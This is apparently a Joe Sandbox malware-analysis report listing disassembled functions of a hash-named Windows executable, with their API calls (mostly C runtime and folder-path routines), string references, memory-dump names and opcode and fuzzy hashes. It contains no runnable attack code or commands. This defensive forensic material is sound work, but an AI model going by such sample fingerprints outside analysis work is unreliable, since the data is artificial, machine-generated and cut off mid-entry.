API String ID: 910155933-2045918765
Opcode ID: 11b3d9fbd6924f6fc6395c0b6dd20020daaf89ded322433a12d7333532825132
Instruction ID: a49abd111d2e09982571c55456e6a4bd0775eaf00a280f51792c4a1cb4ada71a
Opcode Fuzzy Hash: 11b3d9fbd6924f6fc6395c0b6dd20020daaf89ded322433a12d7333532825132
Instruction Fuzzy Hash: 1151D171900209ABDB13DFA5C806FEE7BB8EF46326F954055EC00BB2B2D7719A49C761

Function 00313560 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

Part of subcall function 00312400: __aulldiv.LIBCMT ref: 00312482

SHGetFolderPathA.SHELL32(00000000,00000000), ref: 003135F6
__aulldiv.LIBCMT ref: 003136F6

Strings

@), xrefs: 00313602
E), xrefs: 00313674

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldiv$FolderPath
String ID: @)$E)
API String ID: 3798299979-3004400368
Opcode ID: 3d4322ace386a027802c7000b9d5746cdc106755d47d27a02fc4950a22f2794d
Instruction ID: 8c923478dd5b284d359401da6375b6aada41094f77912a8fc8aab2c78e9af38f
Opcode Fuzzy Hash: 3d4322ace386a027802c7000b9d5746cdc106755d47d27a02fc4950a22f2794d
Instruction Fuzzy Hash: 345107B1E002289BDB69DF55CC85BDAB7B5FB89310F0181E9E50CA7390D7746E858F90

Function 00357B3E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 003578E8: GetOEMCP.KERNEL32(00000000,00357B59,?,?,#5,00350D23,?), ref: 00357913

_free.LIBCMT ref: 00357BB6

Strings

`6, xrefs: 00357BDE
#5, xrefs: 00357B46

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free
String ID: #5$`6
API String ID: 269201875-3890981038
Opcode ID: 3558cdc38fa7616e310d510380bd91f7e697d4cf142646daa540feaad83260be
Instruction ID: a5981e75846e1eea2985d7c85bec0fd77a49c4887b7bbbf6db4092a8a98ac1c9
Opcode Fuzzy Hash: 3558cdc38fa7616e310d510380bd91f7e697d4cf142646daa540feaad83260be
Instruction Fuzzy Hash: D131B071904209AFCB12EFA8E840E9E77B5FF44315F1141AAFD109B2B1EB329D59CB60

Function 00355494 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0035551E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c2b07f37c3ce205324c2a8086c1d99291ebed5f07273467f24d10bab3eeb6b9f
Instruction ID: 01568cfb07b2a2d29ce98b5c08ac75e267d630eba7da1055129f0f6a3c73603f
Opcode Fuzzy Hash: c2b07f37c3ce205324c2a8086c1d99291ebed5f07273467f24d10bab3eeb6b9f
Instruction Fuzzy Hash: B6B15831900A859FDB128F28C8A1FAEBBF5EF55312F254169EC45EF261D634AD09CB60

Function 0033D217 Relevance: 6.2, APIs: 4, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5249936d5fc0839d06c9a7641786ecd56a650a1b96760fecdadd962e7299ba6
Instruction ID: ce6ef900ae27d123d45e76ae555c63d27b65f8e1d202fa14dacc66c288237ada
Opcode Fuzzy Hash: e5249936d5fc0839d06c9a7641786ecd56a650a1b96760fecdadd962e7299ba6
Instruction Fuzzy Hash: BDC1CE74D092A88BDB62CF289C947EABBB1AF5A304F0482D9D88D6B251D7305EC5CF51

Function 0034AEB0 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0034AF77
___AdjustPointer.LIBCMT ref: 0034AF9A
___AdjustPointer.LIBCMT ref: 0034B036

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b7091ecb9d8494a40df3d9d119c816f809b4eb41555b95cfa6ca960fa530d5df
Instruction ID: 1a8a223b11830c9a4141bc54c4a8b67f532b30a186ec1dc0c4bf4475bccd5155
Opcode Fuzzy Hash: b7091ecb9d8494a40df3d9d119c816f809b4eb41555b95cfa6ca960fa530d5df
Instruction Fuzzy Hash: AD51B1B2645A02AFDB279F54D841BAAB7E4EF04311F15402EE8118F691E731FD88DB92

Function 0035D87E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0035D94E
_free.LIBCMT ref: 0035D977
SetEndOfFile.KERNEL32(00000000,00359DE8,00000000,?,?,?,?,?,?,?,?,00359DE8,?,00000000), ref: 0035D9A9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00359DE8,?,00000000,?,?,?,?,?), ref: 0035D9C5

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 01e0e000c5ca7eb26c0fb1f6fbf8cedc2ea0594ebd8c93924658ba404804a862
Instruction ID: 6a439c3731746b48af1de6172f3d0a0bdaffabf21f5cbc5e8714a892b75de393
Opcode Fuzzy Hash: 01e0e000c5ca7eb26c0fb1f6fbf8cedc2ea0594ebd8c93924658ba404804a862
Instruction Fuzzy Hash: 8B41C172900605AADB23ABA8CC02F9E3769EF45362F250510FC14EF2B1EB34D94C8761

Function 00356FA3 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00350AF1: _free.LIBCMT ref: 00350AFF

Part of subcall function 00357FC8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0035D570,?,00000000,00000000), ref: 00358074

GetLastError.KERNEL32 ref: 0035700B
__dosmaperr.LIBCMT ref: 00357012
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00357051
__dosmaperr.LIBCMT ref: 00357058

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: c63b405d6cd698a9abe5f441b7264acc718f725c5c89cae8eb774c7dd144ae32
Instruction ID: ed3b0161dcbd786a60ce03c6e6ddb03323e3aa8c31cfe54037dad0f6186b5a14
Opcode Fuzzy Hash: c63b405d6cd698a9abe5f441b7264acc718f725c5c89cae8eb774c7dd144ae32
Instruction Fuzzy Hash: B821B371A08215AFDB32AF65AC81C2BB7ACFF013667518618FC159B6A1D771ED0887A0

Function 00353A9B Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0034D9A7,?,?,?,?,00350D23,?), ref: 00353AA0
_free.LIBCMT ref: 00353AFD
_free.LIBCMT ref: 00353B33
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0034D9A7,?,?,?,?,00350D23,?), ref: 00353B3E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8edfcb9f12149c63bc6a6ba0ae7ee304a73c3c12dc9476c6e8da2b9233575870
Instruction ID: a289510b5e6bc828d3a3575d06268db2c79e487243bd7580d17a2a2255e18f6b
Opcode Fuzzy Hash: 8edfcb9f12149c63bc6a6ba0ae7ee304a73c3c12dc9476c6e8da2b9233575870
Instruction Fuzzy Hash: 07112C362082457AC61766799C86E2B215EABC13FFB254638FD218B1F1FEA18D0D4111

Function 00353BF2 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,00350CBD,00354922,?,?,0034956E,00000000,?,00311FF9,00000000,?,00311F08), ref: 00353BF7
_free.LIBCMT ref: 00353C54
_free.LIBCMT ref: 00353C8A
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00000000,?,00350CBD,00354922,?,?,0034956E,00000000,?,00311FF9,00000000), ref: 00353C95

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9955758afc1369dee075e7f6f5141ec75e3f23888553c3ba9ee71085482232de
Instruction ID: 5c8be24bd4030d01fa06d6d4b6baf22541d4bbf17b20691bc038ed516d1e86aa
Opcode Fuzzy Hash: 9955758afc1369dee075e7f6f5141ec75e3f23888553c3ba9ee71085482232de
Instruction Fuzzy Hash: 4B1129362042407AC61362759C86E2B226EABC13BFF254538FD25AB1F1EEA18D4D4111

Function 0035DED2 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0035C42F,?,00000001,?,00000001,?,003565A1,?,?,00000001), ref: 0035DEE9
GetLastError.KERNEL32(?,0035C42F,?,00000001,?,00000001,?,003565A1,?,?,00000001,?,00000001,?,00356AED,RG5), ref: 0035DEF5

Part of subcall function 0035DEBB: CloseHandle.KERNEL32(FFFFFFFE,0035DF05,?,0035C42F,?,00000001,?,00000001,?,003565A1,?,?,00000001,?,00000001), ref: 0035DECB

___initconout.LIBCMT ref: 0035DF05

Part of subcall function 0035DE7D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0035DEAC,0035C41C,00000001,?,003565A1,?,?,00000001,?), ref: 0035DE90

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0035C42F,?,00000001,?,00000001,?,003565A1,?,?,00000001,?), ref: 0035DF1A

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: daf504d6ff55d788b763fa43e7e294131883576de40b8efc9cdd5075684359c0
Instruction ID: 25458cda95ce238b4d80daf49cd3c952af0e4e91e5cb778e8a707a6d28d30295
Opcode Fuzzy Hash: daf504d6ff55d788b763fa43e7e294131883576de40b8efc9cdd5075684359c0
Instruction Fuzzy Hash: 55F0C036541224BBCF332F99DC05D9E7F6AFB097A2F058414FE1A9A130D6728934DB90

Function 00353010 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00353019

Part of subcall function 003543F6: RtlFreeHeap.NTDLL(00000000,00000000,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?), ref: 0035440C
Part of subcall function 003543F6: GetLastError.KERNEL32(?,?,00358B3C,?,00000000,?,?,?,00358B63,?,00000007,?,?,00358F65,?,?), ref: 0035441E

_free.LIBCMT ref: 0035302C
_free.LIBCMT ref: 0035303D
_free.LIBCMT ref: 0035304E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a8946b72ad421da6b51e11be9c67fd5e1bc618e99b75d63da0049056c60dee93
Instruction ID: 4c08a7605281c8143f101cc8455805f494d5770b4e93c04653425c44da5b86f5
Opcode Fuzzy Hash: a8946b72ad421da6b51e11be9c67fd5e1bc618e99b75d63da0049056c60dee93
Instruction Fuzzy Hash: A3E0BF76811220EFC617AF18FD018463A69F746785B019136F90557231EBF609679B81

Function 003203E0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 304COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000,8CDA9266), ref: 00320436
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?), ref: 0032070F

Strings

bm, xrefs: 003207CF

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: CreateDirectoryFolderPathSpecial
String ID: bm
API String ID: 2904043388-599385607
Opcode ID: c5e8f28931cf4d1c283df74b4d7a15e5b727ef6b460ffdf26c1e47c63e6dd10c
Instruction ID: 1b882c4f10234b58cdfd3118b0cac3e5816c074566cea7c1daa9458516a67652
Opcode Fuzzy Hash: c5e8f28931cf4d1c283df74b4d7a15e5b727ef6b460ffdf26c1e47c63e6dd10c
Instruction Fuzzy Hash: 7702DD749092A88BDB66CF28DD85BDABBB0AF59300F1082D9D94D67251EB316FC5CF40

Function 003506BF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0035082A

Strings

-, xrefs: 00350758
+, xrefs: 00350765

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 5ab2d7c5e4061503a115a80006edc564ab3dd35c5641275d1df21426edd52395
Instruction ID: 4dfb2d80d3f0a0a82dee76e4e03d15f1cdfbcb0c331fbb28f5253edcd82e56b8
Opcode Fuzzy Hash: 5ab2d7c5e4061503a115a80006edc564ab3dd35c5641275d1df21426edd52395
Instruction Fuzzy Hash: FC91D430D002499EDF2ACF68C450EEDBBB5EF15322F158256EC71AB2B1D33299498F91

Function 00357D4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 003578E8: GetOEMCP.KERNEL32(00000000,00357B59,?,?,#5,00350D23,?), ref: 00357913

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,#5,00357BA0,?,00000000,?,?,?,?,?,?,00350D23), ref: 00357DAB
GetCPInfo.KERNEL32(00000000,00357BA0,?,#5,00357BA0,?,00000000,?,?,?,?,?,?,00350D23,?), ref: 00357DED

Strings

#5, xrefs: 00357D4F

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID: #5
API String ID: 546120528-643275717
Opcode ID: 9d160383ffe5fd2a9e82fe92cc8f4d560faabd4d620fa691245c52e02d82c2b3
Instruction ID: 6f42aabae9bc063566fb2c510228ae61a1cee409fa1c5601675ad85b95e8ebc8
Opcode Fuzzy Hash: 9d160383ffe5fd2a9e82fe92cc8f4d560faabd4d620fa691245c52e02d82c2b3
Instruction Fuzzy Hash: 29513770A083419EDB238F75E846EBBBBF9EF51301F1544AED8868B171D374994ACB90

Function 00352747 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, xrefs: 0035278A, 00352791, 003527C7

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
API String ID: 0-1535992457
Opcode ID: fb71c3e13894944171f2f164e2a6f5bee1054a915e605f8639227fbb32668403
Instruction ID: d0456df0a1781e3fd07b7e11c25d69c1ede0cdab893e00f922a5066b475ab6e5
Opcode Fuzzy Hash: fb71c3e13894944171f2f164e2a6f5bee1054a915e605f8639227fbb32668403
Instruction Fuzzy Hash: 10416071A00214AFCB27DF999C81D9FBBA8EB9A311F144066ED05DB221E7719E49CB90

Function 0034B4BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0034B4E2

Strings

MOC, xrefs: 0034B4F4
RCC, xrefs: 0034B4FC

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 0ee248c0cb2eda5c229afa95536b12b44088d1c0097e99c1b334b64d8187dd6f
Instruction ID: b7d132283cf7592c189ea9f7d6c30af2ffa3a6434c2540b94a656475cccd6f5c
